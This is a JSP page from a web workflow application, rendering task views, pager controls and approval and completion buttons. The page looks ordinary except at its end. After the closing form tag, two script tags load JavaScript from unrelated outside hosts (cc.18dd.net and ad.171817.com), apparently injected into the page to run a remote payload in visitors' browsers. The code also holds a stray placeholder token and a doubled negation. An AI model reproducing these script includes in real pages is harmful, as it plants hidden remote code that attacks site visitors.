		    <td style="font-weight: bold;font-size: 14px;">
		      <bean:message key="workflow.label.workflow_routine_in_flow_chart_view"/>
		    </td>
		    <td>
		      <div style="float:right;">
		        <html:standardButton label="workflow.label.show_in_list_view" onClick="hideBlock('ChartView');showBlock('ListView');"/>
		      </div>
		    </td>   
		  </tr>
		  </table>
		  <table width="100%">
		  <tr>
		    <td align="center">
		      <jsp:include page="ShowWorkflowTree.jsp">
		        <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
		        <jsp:param name="workflowProgressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
		        <jsp:param name="trackID" value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
		        <jsp:param name="isDisplayTheProceedButton" value="<%=false%>"/>
		        <jsp:param name="isShow" value="N"/>
		      </jsp:include>
		    </td>
		  </tr>
		</table>
	  </div>

  <!-- ============== End of ChartView=============== -->
  </div>
   
  <!-- ============== End of Details Tab =============== -->



  

  <!-- ============== Begin of Customize Tab =============== -->
  <div id="CustomizeTab">
  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
    <jsp:include page="../customize/workflow/EditWorkflowTaskCustomize.jsp">
      <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
      <jsp:param name="workflowTrackID" value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
      <jsp:param name="workflowStepID" value="<%=maintWorkflowProgressForm.getWorkflowStepID()%>"/>
      <jsp:param name="progressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
    </jsp:include>
    </table>
    </div>
  <!-- ============== End of Customize Tab =============== -->
 
 </layout:tabContainer>


<div id="bottomButtonArea">
<!-- pagerItem Tag Begin -->
<div class="listStatusBar" style="background-image: url();background-color: #f3f3f3">
  <%
	String listType=GlobalConstant.FALSE;
	if(GlobalConstant.TRUE.equals(request.getParameter("listType"))){
        listType=GlobalConstant.TRUE;
    }else if(GlobalConstant.FALSE.equals(request.getParameter("listType"))){
        listType=GlobalConstant.FALSE;
    }
	
    if( !Utility.isEmpty(request.getParameter("workflowStepID") )||!!Utility.isEmpty(request.getAttribute("workflowStepID"))){
      String temp=(String)request.getParameter("workflowStepID");
      request.setAttribute("workflowStepID",temp);
      String href = "/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=E&delegateUserRecordID=" + request.getParameter("delegateUserRecordID") + "&listType=" + listType + "&trackID={trackID}&ID={ID}&workflowRecordID={workflowRecordID}&workflowStepID={workflowStepID}";
      String objectValue = request.getParameter("trackID") + "|" + request.getParameter("ID") + "|" + request.getParameter("workflowRecordID") + "|" + request.getParameter("workflowStepID");
  %>
  <layout:pagerItem mappingPath="/workflow/ListWorkflowTask" objectValue="<%=objectValue%>" href="<%=href%>" propertyName="{trackID}|{ID}|{workflowRecordID}|{workflowStepID}" listType="<%=listType%>">
  <layout:pagerLastItem>
  <div class="lastPage"></div>
  <div class="lastPageDis"></div>
  </layout:pagerLastItem>
  <layout:pagerNextItem>
  <div class="nextPage"></div>
  <div class="nextPageDis"></div>
  </layout:pagerNextItem>
  <layout:pagerPrevItem>
  <div class="prePage"></div>
  <div class="prePageDis"></div>
  </layout:pagerPrevItem>
  <layout:pagerFirstItem>
  <div class="firstPage"></div>
  <div class="firstPageDis"></div>
  </layout:pagerFirstItem>
  </layout:pagerItem>

  <%} else {
      String href = "/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=E&trackID={trackID}&ID={ID}&workflowRecordID={workflowRecordID}";
  %>
  <layout:pagerItem mappingPath='/Home' objectValue='<%=request.getParameter("trackID") + "|" +request.getParameter("ID") + "|" + request.getParameter("workflowRecordID")%>' href='<%=href%>' propertyName='{trackID}|{ID}|{workflowRecordID}' listName='<%=GlobalConstant.HOME_WORKFLOW_TASK_LIST%>'>
  <layout:pagerLastItem>
  <div class="lastPage"></div>
  <div class="lastPageDis"></div>
  </layout:pagerLastItem>
  <layout:pagerNextItem>
  <div class="nextPage"></div>
  <div class="nextPageDis"></div>
  </layout:pagerNextItem>
  <layout:pagerPrevItem>
  <div class="prePage"></div>
  <div class="prePageDis"></div>
  </layout:pagerPrevItem>
  <layout:pagerFirstItem>
  <div class="firstPage"></div>
  <div class="firstPageDis"></div>
  </layout:pagerFirstItem>
  </layout:pagerItem>

  <%}%>
</div>
<div id="buttonSection">
<!-- pagerItem Tag End   -->

    <!-- The Buttons for Actions Handling -->
	<!--should have Write permission then can edit this progress-->
	<wfm:permission objectType="A" right='W' workflowProgress='<%=(WorkflowProgress)maintWorkflowProgressForm.getFormData()%>'>
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode())) {
      String single=stepOptionHasActionMap!=null? (String)stepOptionHasActionMap.get(WorkflowStep.PARENT_TYPE_SINGLE):"";
      if(single==null){
        single="";
      }
      pageContext.setAttribute("single", single);
    %>
      <%if(!SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID) ){%>
      <%if(!maintWorkflowProgressForm.isCheckOut() ){%>
      <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_IN_PROGRESS+"', '${single}');"; %>
      <html:standardButton label="workflow.label.pick_up" onClick='<%= actionString %>'/>
      <%}else{%>
      <html:standardButton label="common.label.save" onClick="return CusOpSave('','')"/>
      <%}%>
      <%}%>
      <%if (maintWorkflowProgressForm.isInterruptAble()) {%>
        <html:standardButton label="common.permission.label_J" onClick="return CusOpInterrupt()"/>
      <%}%>
      <%if (WorkflowStep.ACTION_TYPE_APPROVAL.equals(maintWorkflowProgressForm.getActionType())) {
        String approved=stepOptionHasActionMap!=null? (String)stepOptionHasActionMap.get(WorkflowStep.PARENT_TYPE_APPROVED):"";
        if(approved==null){
          approved="";
        }
        pageContext.setAttribute("approved", approved);
        String rejected=stepOptionHasActionMap!=null? (String)stepOptionHasActionMap.get(WorkflowStep.PARENT_TYPE_REJECTED):"";
        if(rejected==null){
          rejected="";
        }
        pageContext.setAttribute("rejected", rejected);
      %>
        <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_APPROVE+"', '${approved}');"; %>
        <html:standardButton label="workflow.label.approve" onClick='<%= actionString %>'/>
        <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_REJECT+"', '${rejected}');"; %>
        <html:standardButton label="workflow.label.reject" onClick='<%= actionString %>'/>	
      <%} else if (WorkflowStep.ACTION_TYPE_BOOLEAN.equals(maintWorkflowProgressForm.getActionType())) {
      	String yes=stepOptionHasActionMap!=null? (String)stepOptionHasActionMap.get(WorkflowStep.PARENT_TYPE_YES):"";
        if(yes==null){
          yes="";
        }
        pageContext.setAttribute("yes", yes);
        
        String no=stepOptionHasActionMap!=null? (String)stepOptionHasActionMap.get(WorkflowStep.PARENT_TYPE_NO):"";
        if(no==null){
          no="";
        }
        pageContext.setAttribute("no", no);
      %>
      <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_YES+"', '${yes}');"; %>
      <html:standardButton label="common.label.yes" onClick="<%= actionString %>"/>
      <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_NO+"', '${no}');"; %>
      <html:standardButton label="common.label.no" onClick="<%= actionString %>"/>
      <%} else {%>
      <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT+"', '${single}');"; %>
      <html:standardButton label="common.label.complete" onClick="<%= actionString %>"/>
      <%}%>
      <% if (GlobalConstant.TRUE.equals(maintWorkflowProgressForm.getAllowStop())) {%>
        <% actionString = "return CusOpSave('"+WorkflowProgress.STATUS_CANCEL+"', '${single}');"; %>
        <html:standardButton label="workflow.label.stop_workflow" onClick="<%= actionString %>"/>
      <%} else {%>
        <html:standardButton label="workflow.label.stop_workflow" disable="true"/>
      <%}%>
    <%} else {
        if ((WorkflowProgress.STATUS_PENDING.equals(maintWorkflowProgressForm.getStatus())
        ||WorkflowProgress.STATUS_IN_PROGRESS.equals(maintWorkflowProgressForm.getStatus()) )
        && !SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID)
        && Utility.isEmpty(request.getAttribute("isCompleteUser"))) {

        %>
          <html:standardButton label="workflow.label.proceed" link='<%="MaintWorkflowTask.do?SHOW_HEADER_FOOTER="+showHeaderFooter+"&navMode=E&trackID=${maintWorkflowProgressForm.trackID}&delegateUserRecordID="+delegateUserRecordID+"&ID=${maintWorkflowProgressForm.ID}&workflowRecordID=${maintWorkflowProgressForm.workflowRecordID}&workflowStepID=${maintWorkflowProgressForm.workflowStepID}&decisionView=${wrokflowRouteValue}"%>'/>  
        <%} %>    
        
        
    <%} %>
       <##########>
	  </wfm:permission>
    <%
      if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
      if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>	
	    <html:standardButton label="common.label.close" onClick="return Opclose()"/>
    <%  }
      }
    %>
</div>
</div>

<script>
<!--

function INIT(){
  if(FindObj('formSubmission')){
    showBlock('formSubmission');
    showBlock("divFormSubmissionShow");
    hideBlock("divFormSubmissionHide");
  }
  if(FindObj('progressNotify')){ hideBlock('progressNotify');}
}
//-->
</script>

<!--new document invitation-->
<div  id="NewDocumentInvitation" style="position:absolute;display:none;overflow=none;z-index:801;top:20px; background-color:white; left:100px;">
</div>
<script language='javascript'>
<!--
  function CancelDim(){
    var invtee = document.getElementById("NewDocumentInvitation");
    invtee.style.display="none";
    loadingStop();
  }

//-->
</script>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>